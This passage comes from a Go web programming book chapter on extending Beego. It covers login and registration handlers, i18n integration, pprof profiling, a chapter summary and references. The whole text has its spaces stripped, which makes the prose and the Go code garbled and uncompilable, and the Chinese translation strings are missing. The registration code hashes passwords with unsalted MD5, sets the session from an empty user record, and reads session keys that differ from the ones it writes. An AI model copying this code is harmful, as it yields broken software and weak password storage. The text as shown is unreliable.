//Setthesessionsuccessfulloginsess:=globalSessions.SessionStart(this.Ctx.ResponseWriter,this.Ctx.Request)sess.Set("uid",userInfo.Id)sess.Set("uname",userInfo.Username)

this.Ctx.Redirect(302,"/")}}

//Registrationprocessfunc(this*RegController)Post(){this.TplNames="reg.tpl"this.Ctx.Request.ParseForm()username:=this.Ctx.Request.Form.Get("username")password:=this.Ctx.Request.Form.Get("password")usererr:=checkUsername(username)fmt.Println(usererr)ifusererr==false{this.Data["UsernameErr"]="Usernameerror,Pleasetoagain"

return}

passerr:=checkPassword(password)ifpasserr==false{this.Data["PasswordErr"]="Passworderror,Pleasetoagain"

return}

md5Password:=md5.New()io.WriteString(md5Password,password)buffer:=bytes.NewBuffer(nil)fmt.Fprintf(buffer,"%x",md5Password.Sum(nil))newPass:=buffer.String()

now:=time.Now().Format("2006-01-0215:04:05")

userInfo:=models.GetUserInfo(username)

ifuserInfo.Username==""{varusersmodels.Userusers.Username=username

users.Password=newPassusers.Created=nowusers.Last_logintime=nowmodels.AddUser(users)

//Setthesessionsuccessfulloginsess:=globalSessions.SessionStart(this.Ctx.ResponseWriter,this.Ctx.Request)sess.Set("uid",userInfo.Id)sess.Set("uname",userInfo.Username)this.Ctx.Redirect(302,"/")}else{this.Data["UsernameErr"]="Useralreadyexists"}

}

funccheckPassword(passwordstring)(bbool){ifok,_:=regexp.MatchString("^[a-zA-Z0-9]{4,16}$",password);!ok{returnfalse}returntrue}

funccheckUsername(usernamestring)(bbool){ifok,_:=regexp.MatchString("^[a-zA-Z0-9]{4,16}$",username);!ok{returnfalse}returntrue}

Onceyouhaveimplementeduserloginandregistration,othermodulescanbeaddedtodeterminewhethertheuserhasbeenloggedinornot:

func(this*AddBlogController)Prepare(){sess:=globalSessions.SessionStart(this.Ctx.ResponseWriter,this.Ctx.Request)sess_uid:=sess.Get("userid")sess_username:=sess.Get("username")ifsess_uid==nil{this.Ctx.Redirect(302,"/admin/login")

return}this.Data["Username"]=sess_username}

Links

DirectoryPrevioussection:FormNextsection:Multi-languagesupport

14.5Multi-languagesupportInthechapterwhereweintroducedinternationalizationandlocalization,wedevelopedthego-i18nlibrary.Inthissection,wewillseehowthislibraryisintegratedintotheBeegoframework,andhowitenablesourBeegoapplicationstosupportbothinternationalizationandlocalization.

I18nintegration

Beegofirstsetssomeglobalvariables:

Translationi18n.ILLangstring//setthelanguagepack,zh,enLangPathstring//setthelanguagepacklocation

Amulti-languageinitializationfunctionisdefined:

funcInitLang(){beego.Translation:=i18n.NewLocale()beego.Translation.LoadPath(beego.LangPath)beego.Translation.SetLocale(beego.Lang)}

Inordertofacilitatemulti-languagecallsinthetemplatepackagedirectly,wedesignedthreefunctionsforhandlingmulti-languageresponses:

beegoTplFuncMap["Trans"]=i18n.I18nTbeegoTplFuncMap["TransDate"]=i18n.I18nTimeDatebeegoTplFuncMap["TransMoney"]=i18n.I18nMoney

funcI18nT(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)}returnbeego.Translation.Translate(s)}

funcI18nTimeDate(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)}returnbeego.Translation.Time(s)}

funcI18nMoney(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)}returnbeego.Translation.Money(s)}

Multi-languagedevelopment

1. Settingthelanguageandlocationofthelanguagepack,theninitializei18nobjects:

beego.Lang="zh"beego.LangPath="views/lang"beego.InitLang()

2. Designingamulti-languagepackage

Above,wetalkedabouthowtoinitializeamulti-languagepackage.Now,let'slookathowtodesignone.Multi-languagepackagesaretypicallyJSONfiles,asyou'vealreadyseeninChapter10.WemustprovidetranslationfilesforlanguageswewishtosupportonourLangPath,suchasthefollowing:

#zh.json

{"zh":{"submit":"" ,"create":""}}

#en.json

{"en":{"submit":"Submit","create":"Create"}}

3. Usinglanguagepackages

Wecancallthecontrollertogetthetranslatedresponseinthedesiredlanguage,likeso::

func(this*MainController)Get(){this.Data["create"]=beego.Translation.Translate("create")this.TplNames="index.tpl"}

Wecanalsodirectlyinterpolatetranslatedresponsesinourtemplates:

//DirectTexttranslation{{.create|Trans}}

//Timetotranslate{{.time|TransDate}}

//Currencytranslation{{.money|TransMoney}}

Links

DirectoryPrevioussection:UservalidationNextsection:pprof

14.6pprofAgreatfeatureofGo'sstandardlibraryisitscodeperformancemonitoringtools.Thesepackagesexistintwoplaces:

net/http/pprof

runtime/pprof

Infact,net/http/pprofsimplyexposesruntimeprofilingdatafromtheruntime/pprofpackageonanHTTPport.

pprofsupportinBeego

TheBeegoframeworkcurrentlysupportspprof,howeveritisnotnotturnedonbydefault.Ifyouneedtotesttheperformanceofyourapplication,(forinstancebyviewingtheexecutiongoroutinesuchinformation,infact,Go'sdefaultpackage"net/http/pprof"alreadyhasthisfeature,andifGomannerinaccordancewiththedefaultWeb,youcanusethedefault,butbecausebeegorepackagedServHTTPfunction,soifyoucannotopenthedefaultincludesthisfeature,sotheneedforinternalreformbeegosupportpprof.

Firstinourbeego.Runfunction,wechoosewhetherornottoautomaticallyloadtheperformancepackaccordingtoourconfigurationvariable(inthiscase,PprofOn):

ifPprofOn{BeeApp.RegisterController(`/debug/pprof`,&ProfController{})BeeApp.RegisterController(`/debug/pprof/:pp([\w]+)`,&ProfController{})}

DesigningProfController

packagebeego

import("net/http/pprof")

typeProfControllerstruct{Controller}

func(this*ProfController)Get(){switchthis.Ctx.Params[":pp"]{default:pprof.Index(this.Ctx.ResponseWriter,this.Ctx.Request)case"":pprof.Index(this.Ctx.ResponseWriter,this.Ctx.Request)case"cmdline":pprof.Cmdline(this.Ctx.ResponseWriter,this.Ctx.Request)case"profile":pprof.Profile(this.Ctx.ResponseWriter,this.Ctx.Request)case"symbol":pprof.Symbol(this.Ctx.ResponseWriter,this.Ctx.Request)}this.Ctx.ResponseWriter.WriteHeader(200)}

Gettingstarted

Fromtheabove,wecanseethatenablingpprofisassimpleassettingthePprofOnconfigurationvariabletotrue:

beego.PprofOn=true

YoucanthenopenthefollowingURLinyourbrowsertoseethefollowinginterface:

Figure14.7currentsystemgoroutine,heap,threadinformation

Byclickingonagoroutine,wecanseealotofdetailedinformation:

Figure14.8showsthecurrentgoroutinedetails

Ofcourse,wecanalsogetmoredetailsfromthecommandline:

gotoolpprofhttp://localhost:8080/debug/pprof/profile

Thistime,theprogramwillbeginprofilingtheapplicationforaperiodof30seconds,duringwhichtimeitwillrepeatedlyrefreshthepageinthebrowserinanattempttogatherCPUusageandperformancedata.

(pprof)top10

Total:3samples

133.3%33.3%133.3%MHeap_AllocLocked

133.3%66.7%133.3%os/exec.(*Cmd).closeDescriptors

133.3%100.0%133.3%runtime.sigprocmask

00.0%100.0%133.3%MCentral_Grow

00.0%100.0%266.7%main.Compile

00.0%100.0%266.7%main.compile

00.0%100.0%266.7%main.run

00.0%100.0%133.3%makeslice1

00.0%100.0%266.7%net/http.(*ServeMux).ServeHTTP

00.0%100.0%266.7%net/http.(*conn).serve

(pprof)web

Figure14.9showstheexecutionflowofinformation

Links

Directory

Previoussection:Multi-languagesupportNextsection:Summary

14.7SummaryThischapterillustratessomewaysinwhichtheBeegoframeworkcanbeextended.Wefirstlookedatstaticfilesupport,learninghowBeegohandlesservingstaticfilesinternally.Wesawhowthisfunctionalityallowedustoeasilyintegratestaticassets(suchasBootstrap'sCSSfiles)forrapidandgreatlookingwebsitedevelopment.Next,wesawhowtointegratesessionManagertopainlesslyfacilitateusersessionsinBeego.Wethendescribedformmanagementandvalidation,leveragingGo'sstructstoreducecoderepetitionandforsimplifyingfieldvalidation.Afterthat,wediscusseduserauthenticationwhichinvolvedthreemainstrategies:HTTPauthentication(basicanddigest),thirdpartyauthentication,andcustomauthentication.Welearnedaboutsomeexistingthirdpartyauthenticationpackagesthathavealreadyimplementedthesestrategies,whichareconvenientlyaccommodatedbyBeego.Thenextsectionre-introducedlanguagesupportinBeego;wesawhowtointegratethego-i18npackageandlearnedhowtoeasilyloadmultiplelanguagepacksintoourapplicationsasneeded.Lastly,wediscussedhowtoworkwithGo'spprofpackagesinBeego.ThepprofpackageisusedforperformanceprofilinginGo,andBeegorepackagesitsoitcanservethesamepurposeinBeegoapplicationswithoutmuchadditionalwork.Throughthesesixsections,we'veextendedBeegowithmanyfeatures,makingitintoaversatileframeworksuitablefortherequirementsofmanywebapplications.Usershavethefreedomofextendingtheframeworktosuittheirindividualneeds;thisbriefintroductiontoBeegosimplyoffersasmalltasteofwhatcanbedone!

Links

DirectoryPrevioussection:pprofNextchapter:AppendixAReferences

AppendixAReferencesThisbookisasummaryofmyGoexperience,somecontentarefromothergophers'eitherblogorsites.Thanksthem!

1. golangblog2. RussCoxblog3. gobook4. golangtutorials5. de6. GoProgrammingLanguage7. NetworkprogrammingwithGo8. setup-the-rails-application-for-internationalization9. TheCross-SiteScripting(XSS)FAQ